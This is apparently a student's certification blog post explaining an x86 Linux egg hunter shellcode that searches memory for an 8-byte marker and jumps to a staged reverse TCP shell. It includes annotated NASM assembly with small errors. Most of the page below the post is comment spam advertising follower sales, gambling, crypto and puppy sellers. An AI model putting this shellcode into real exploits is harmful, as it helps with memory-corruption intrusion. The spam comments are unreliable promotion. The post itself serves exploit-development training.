This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #3 - Egghunter
- Create a working demo of the egg hunter
~~~~~~~~~//*****//~~~~~~~~~
For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.
What is an egg_hunter? Why do we need it?
An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.
This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).
Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:
%define _EGG 0x50905090
xor ebx, ebx ;remove x00/NULL byte
mov ebx _EGG ;move 0x50905090 egg into ebx register
xor ecx, ecx ;remove x00/NULL byte
mul ecx ;intializes eax, ecx, edx with x000000000 value
We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().
We will be using the *pathname pointer argument to validate the address that will contain our egg.
I globally defined two more variables: the access() syscall and EFAULT
%define _SYSCALL_ERR ;0xf2
%define __NR_access ;0x21
...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS
The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction
NEXT_PAGEFILE:
or dx, 0xfff ;note that edx is the pointed *pathname
;0xffff == 4095
The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.
NEXT_ADDRESS:
inc edx ;increments edx, checks next address if it contains the egg
pusha ;push eax, ebx, ecx, edx....these registers are used multiple
;pushing them to the stack to preserve values when popped
lea ebx, [edx +4]
xor eax, eax ;remove x00/NULL byte
mov al, __NR_access ;syscall 33 for access(2)
int 0x80 ;interrupt/execute
;egg hunting begins
cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
popa ;branch, pop eax, ebx, ecx, edx
jz NEXT_PAGEFILE ;al return value == EFAULT value, invalid address memory
;move to the next PAGESIZE
cmp [edx], ebx ;if al retun value != EFAULT value, execute this instruction
;compares the egg with edx value
jnz NEXT_ADDRESS ;not EFAULT but _EGG not found, loop again
cmp[edx +4], ebx ;_EGG found, test for the next 4 byte of the _EGG
jnz NEXT_ADDRESS ;if next 4 bytes of edx value !=_EGG, loop again
jmp edx ;finally, 8 bytes of _EGG found, jmp to address of edx
We compile our nasm file and obtain our shellcode using objdump.
We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.
I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.
For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.
SUCCESS!!
I gathered lots of information from your blog and it helped me a lot. Keep posting more.
ReplyDeleteccna course in Chennai
ccna Training in Chennai
ccna certification in Chennai
AngularJS Training in Chennai
Ethical Hacking course in Chennai
PHP Training in Chennai
CCNA course in Velachery
CCNA course in Tambaram
CCNA course in T Nagar
Great Article Cyber Security Projects projects for cse Networking Security Projects JavaScript Training in Chennai JavaScript Training in Chennai The Angular Training covers a wide range of topics including Components, Angular Directives, Angular Services, Pipes, security fundamentals, Routing, and Angular programmability. The new Angular TRaining will lay the foundation you need to specialise in Single Page Application developer. Angular Training
ReplyDeleteinstagram takipçi satın al - instagram takipçi satın al - tiktok takipçi satın al - instagram takipçi satın al - instagram beğeni satın al - instagram takipçi satın al - instagram takipçi satın al - instagram takipçi satın al - instagram takipçi satın al - binance güvenilir mi - binance güvenilir mi - binance güvenilir mi - binance güvenilir mi - instagram beğeni satın al - instagram beğeni satın al - polen filtresi - google haritalara yer ekleme - btcturk güvenilir mi - binance hesap açma - kuşadası kiralık villa - tiktok izlenme satın al - instagram takipçi satın al - sms onay - paribu sahibi - binance sahibi - btcturk sahibi - paribu ne zaman kuruldu - binance ne zaman kuruldu - btcturk ne zaman kuruldu - youtube izlenme satın al - torrent oyun - google haritalara yer ekleme - altyapısız internet - bedava internet - no deposit bonus forex - erkek spor ayakkabı - webturkey.net - minecraft premium hesap - karfiltre.com - tiktok jeton hilesi - tiktok beğeni satın al - microsoft word indir - misli indir
ReplyDeletetakipçi satın al
ReplyDeletetakipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
takipçi satın al
takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
ReplyDeleteinstagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
marsbahis
ReplyDeletebetboo
sultanbet
marsbahis
betboo
sultanbet
pond coin hangi borsada
ReplyDeleteslp coin hangi borsada
enjin coin hangi borsada
mina coin hangi borsada
sngls coin hangi borsada
win coin hangi borsada
shiba coin hangi borsada
is binance safe
is binance safe
Greetings From New Day Yorkies puppies - Specializing
ReplyDeleteWe are small breeders whose goal is to produce healthy, high quality little teacup size Yorkie puppies for sale. In order to have puppies for sale most of the time we have teamed up with a couple of other Yorkie breeders that have the same goals in mine. In fact we have some of their Yorkie breeders and they have some of our breeders.https://www.newdaypuppies.com
yorkies for sale
teacup yorkie puppies for sale
tea cup yorkie puppy for sale
yorkshire terrier for sale
yorkie for sale
ReplyDeleteYorkie poo for sale
yorkie for sale near me
teacup yorkie puppies for sale
teacup yorkie puppies for sale
https://www.newdaypuppies.com/
ReplyDeletehttps://www.newdaypuppies.com/teacup-yorkie-puppies-for-sale/
https://www.newdaypuppies.com/tea-cup-yorkie-puppy-for-sale/
https://www.newdaypuppies.com/yorkshire-terrier-for-sale-near-me/
https://www.newdaypuppies.com/yorkie-terrier-puppy-for-sale-near-me/
ReplyDeleteAre Yorkies good for first time dog owners?
teacup yorkie for sale
The Yorkshire terrier is a great starter dog for those who want a little lap dog. This breed is affectionate towards its owner and may even act protective around strangers.
The Yorkie has a moderate energy level and only needs basic exercise.
yorkie puppies for sale good for first time owners?
yorkie puppies for sale
It is the ideal pet for people who don't want to deal with pet fur at home or in their cars. This is the ideal pet for first time dog owners, since it trains easily and needs only moderate grooming maintenance. Yorkie poos are good with kids. It will play with them, is energetic and affectionate.
Are Yorkie hypoallergenic? Yes
Are Yorkie Poo good for first time owners?
yorkie for sale
It is the ideal pet for people who don't want to deal with pet fur at home or in their cars. This is the ideal pet for first time dog owners, since it trains easily and needs only moderate grooming maintenance. Yorkie poos are good with kids. It will play with them, is energetic and affectionate.
teacup chihuahuas for sale
Are Yorkie Poos good dogs?
yorkies for sale
ReplyDeleteAre Chihuahua puppies hard to train?
chihuahua puppies for sale
Chihuahuas are intelligent, strong-minded dogs that like to do their own thing. This can make them stubborn, earning them a reputation for being hard to train. However, reward-based training methods do appeal to a Chihuahua and there's no reason why they can't be trained to be obedient, just as with any dog
Chihuahuas Have Fun, Playful Personalities
teacup chihuahuas for sale
Though chihuahuas are loyal and affectionate with their owners, they are anything but dull and love to play! However, no two chihuahuas are the same, so if you have a friend with a chihuahua, your pet is likely to be quite different and unique
What food is bad for Chihuahua?
teacup chihuahua for sale
Foods Your Chihuahua Shouldn't Eat
Alcohol. Alcohol (ethanol) is highly toxic to dogs. ...
Caffeine. Coffee is one of the world's most popular beverages, with roughly 83% of the United States adult population consuming it on a daily basis. ...
Chocolate. ...
Some Fruit Seeds, Pits and Cores. ...
Garlic. ...
Grapes and Raisins. ...
Hops. ...
Onions.
chihuahua puppy for sale
The easiest way to adopt a Chihuahua would be through a rescue that specializes in Chihuahuas. A great place to start would be by starting a breed search on https://www.chihuahuapuppiesforsale1.com/chihuahua-puppies-for-sale-near-me/. The search will show you all the available Chihuahuas in your area.
chihuahua puppies for sale near me
ReplyDeleteIs a Yorkie a good family dog?
yorkie puppies for sale
Yorkies, like many other Toy breeds, make good pets for people; they're especially good for senior citizens, people with medical issues, and those who may worry about the size and strength of a larger dog. ... They're loving, devoted, and very affectionate: This makes them great personal companions and good family pets.
Do Yorkshire terriers bark a lot?
teacup yorkie for sale
Yorkshire Terriers are little dogs with huge personalities. yorkies for sale With those huge personalities come a fierce territorial bark. Any time your phone rings, someone speaks or knocks on your door, or your doorbell chimes, your Yorkshire Terrier will likely bark. Outside noises aren't even required for barking for some Yorkies. yorkie for sale near me
How much do Yorkshire terriers cost?
yorkies puppy for sale
Typical Yorkie prices range from $1,500 to $3,000, but the cost can fall far below or above that range. Prices will vary based on the puppy's lineage, appearance, health, and the breeder. It's also possible to adopt an older Yorkie for significantly less through a rescue shelter.
ReplyDeleteHow long does a Yorkie live? 13 – 16 years
Are Yorkies cuddlers?
A lover of all things comfortable, the Yorkshire terrier enjoys cuddling with loved ones and snuggling into everything soft and fluffy. And for you, their silky coat isn't too bad for petting. https://www.newdaypuppies.com/
Adorable Teacup and Toy AKC Yorkie Puppies
We have adorable Yorkshire Terrier puppies male and female (she is pictured with the bow).The little girl was born on and the male was born on. yorkie teacup for sale Both puppies have started potty training and have had all sets of puppy shots and deworming. They both come with AKC papers.The girl is very petite and has an adorable baby doll face. yorkies for sale near me She is a teacup and will mature to be around just lbs. She is very gentle and easy going She is the princess in our home and loves to be held.The male is full of spunk and is super playful He will mature to be lbs and would make an awesome family dog. He has a gorgeous silky coat and adorable teddy bear face.Both puppies are AKC registered and will come with a health guarantee shot record and sample puppy food. teacup yorkies for sale, teacup yorkie puppies for sale
Adorable Teacup and Toy AKC Yorkie Puppies is a Female, Male Yorkshire Terrier Puppy for sale in US. Adorable Teacup and Toy AKC Yorkie Puppies by newdaypuppies for Female, Male Yorkshire Terrier Puppies. yorkshire terrier for sale
https://www.chihuahuapuppiesforsale1.com/
ReplyDeletehttp://www.myppuphouse.com/
https://www.yorkiespuppiessale.com/
https://chowchowpuppiessale.com/
http://www.globalkittens.com/
ReplyDeleteIs a Yorkie a good family dog?
Yorkies, like many other Toy breeds, make good pets for people; they're especially good for senior citizens, people with medical issues, and those who may worry about the size and strength of a larger dog. ... They're loving, devoted, and very affectionate: This makes them great personal companions and good family pets.
Do Yorkshire terriers bark a lot?
yorkies for sale
Yorkshire Terriers are little dogs with huge personalities. teacup yorkies for sale With those huge personalities come a fierce territorial bark. Any time your phone rings, someone speaks or knocks on your door, or your doorbell chimes, your Yorkshire Terrier will likely bark. Outside noises aren't even required for barking for some Yorkies. yorkie puppies for sale
How much do Yorkshire terriers cost?
yorkie for sale near me
Typical Yorkie prices range from $1,500 to $3,000, but the cost can fall far below or above that range. Prices will vary based on the puppy's lineage, appearance, health, and the breeder. It's also possible to adopt an older Yorkie for significantly less through a rescue shelter. yorkie for sale
I take pleasure in, result in I discovered exactly what I used to be taking a look
ReplyDeletefor. You’ve ended my 4 day lengthy hunt! God Bless you man.
great dane puppies for sale
great dane puppy for sale
great dane puppies near me
great dane puppy for sale
great dane puppies for sale near me
ragdoll kittens for sale near me
ragdoll kitten near me
goldendoodle for sale
teacup havanese puppies for sale
pomeranian teacup for sale
https://www.redemptionbullies.com/
At this time I am going away to do my breakfast, afterward having my breakfast coming over again to read further news
ReplyDeleteragdoll cat for sale
ragdoll cats for sale
aussiedoodle for sale
bernedoodles for sale
havanese puppies for sale under $1,000
great dane puppies for sale
great dane puppy for sale
great dane puppies near me
great dane puppies for sale near me
https://thegorgeousdoodles.com/
I used to be suggested this website by means of my cousin. I’m now not sure whether
ReplyDeletethis submit is written by him as nobody else know such detailed approximately my problem.
ragdoll kitten for sale
ragdoll kittens for sale
mini goldendoodle for sale
mini bernedoodle puppies for sale
mini aussiedoodles for sale
havanese puppy for sale
teacup havanese puppies for sale
havanese puppies for sale near me
havanese puppies for sale under $1,000
havanese puppy for sale
https://thegorgeousragdolls.com/
Thanks for sharing your thoughts. I truly appreciate your efforts and I will be waiting for your further
ReplyDeletewrite ups thanks once again
pomeranian puppies for sales
pomeranian for sale
teacup pomeranian for sale near me
pomeranians for sale near me
teacup pomeranian for sale
pomeranian puppies for sales
pomeranian for sale
teacup pomeranian for sale
havanese puppies for sale near me
https://www.pomeranianpuppiesforsales.com/
Ahaa, its nice dialogue about this piece of writing at this place at this webpage,
ReplyDeleteI have read all that, so at this time me also commenting here.
havanese dogs for sale
havanese puppies for sale
teacup havanese puppy
chocolate havanese puppy for sale
teacup pomeranian for sale
doodle puppies
aussiedoodle puppies for sale
bernedoodle puppies for sale
goldendoodle puppies for sale
https://www.fluffyhavanese.com/
you will need support or suggestions, write me privately.
ReplyDeleteI interested in your implementation/use case.
the best situs slot terbaik
Togel2win
bitcoin nasıl alınır
ReplyDeletetiktok jeton hilesi
youtube abone satın al
gate io güvenilir mi
referans kimliği nedir
tiktok takipçi satın al
bitcoin nasıl alınır
mobil ödeme bozdurma
mobil ödeme bozdurma
smm panel
ReplyDeleteSmm panel
İs ilanlari
instagram takipçi satın al
hirdavatciburada.com
beyazesyateknikservisi.com.tr
SERVİS
tiktok hile indir